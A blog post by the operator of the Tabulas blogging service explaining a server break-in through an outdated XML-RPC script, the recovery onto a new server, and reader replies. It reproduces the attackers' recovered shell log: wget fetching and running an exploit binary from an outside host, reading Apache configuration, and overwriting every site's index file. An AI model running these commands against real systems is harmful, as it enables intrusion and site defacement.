Server downage
Here's a collection of events from the server crash (I've been up for a while now, so this will be terse).
Non-technical version:
Someone (not me) left an unpatched piece of software on the server that Tabulas' database is located at. A hacker got in through there messed things up bad. I had to spend last night setting up a new server and moving Tabulas' DB over there. It was partially my fault (this could have been avoided), and I've learned my lesson.
Technical version:
- Approximately 12 hours ago, the server that the Tabulas database is stored on was hacked. To cut down on costs, I share the server with a mutual acquaintance. He was hosting a friend who was hosting Xoop CMS. Normally this isn't that bad, except the friend had an outdated copy of XML-RPC.php running. This XML-RPC.php had been patched, but apparently my friend's friend didn't take notice.
- Normally, this isn't bad, as PHP can't execute /var/tmp, but this is also a development server, so /var/tmp *was* set as executable. The hackers installed a bunch of backdoors through the XML-RPC exploit from this site (r0nin and kmod and one more which escapes my memory at the moment). Luckily I was able to track down exactly what they were doing:
cd /var/tmp
ls
wget http://xpl.templarteam.org/kmod
chmod +x kmod
./kmod
id
id;uname -a
locate httpd.conf
cat /etc/httpd/conf/httpd.conf
cd /etc/appliance/apacheconf
cd /apache
cd /etc/httpd/conf/virtual
cat *.* > l.txt
cat sit* > l.txt
cat l.txt
cat l.txt | egrep ServerName
cd /home
cd virtual
cat *.* > ll.txt
cat ll.txt
cat * > ll.txt
echo Simiens Crew 2006 > si.txt
pwd
find /home/virtual -name "index.*" -exec cp si.txt {} ;
ls
perl - They basically went through each site and replaced the index.html file. What happened next is a bit fuzzy, but generally the server decided to crap out, completely. So a new order went in last night for a brand spankin' new server (this was on the long-term roadmap, but I decided to move it up since the server was nearly dead already).
- So I asked my hosting company to set up the old hard drive as a slave on the new hard drive so I coudl transfer files. Except... the old hard drive was an EIDE drive, while the new drives were SATA. And apparently they didn't have extra EIDE controllers lying about.
- So they installed it through the CD-ROM channel. My mounting skills are sub-par on Linux, so somehow only the boot partition got mounted ...
- But a little while later, the whole thing was accessible. Then it was just a matter of grabbing the old files, transferring them over to the new server, setting up all the accounts, redirecting all existing *.tabulas sites to use the new database location ...
- And here I am, exhausted and completely stressed out.
I think I'll sleep now.
I've been meaning to write a really long post on the future of Tabulas, and I think this whole experience'll be a good incentive to do so. Expect a post on that after I wake up from sleeping :)
Comment with Facebook
Want to comment with Tabulas?. Please login.
sophismata
null0 (guest)
iamasourgrape
iamasourgrape
orlandolee (guest)
roy
aldrich
Tallullah
I have a fear that one day you will decided to sell Tabulas and the new owner will not care as much about it as you do.
Okay, 'nighty 'night Roy!
laline
vulcanChic
frankly, i wouldnt what i'd do without tabulas... somehow i find it easier to use than those other blog hosting sites...
u really deserve a lot of time for sleeping!
ree
HumanReticle
superpotion
dracil
jihwan
HK1997
halo
boogiesan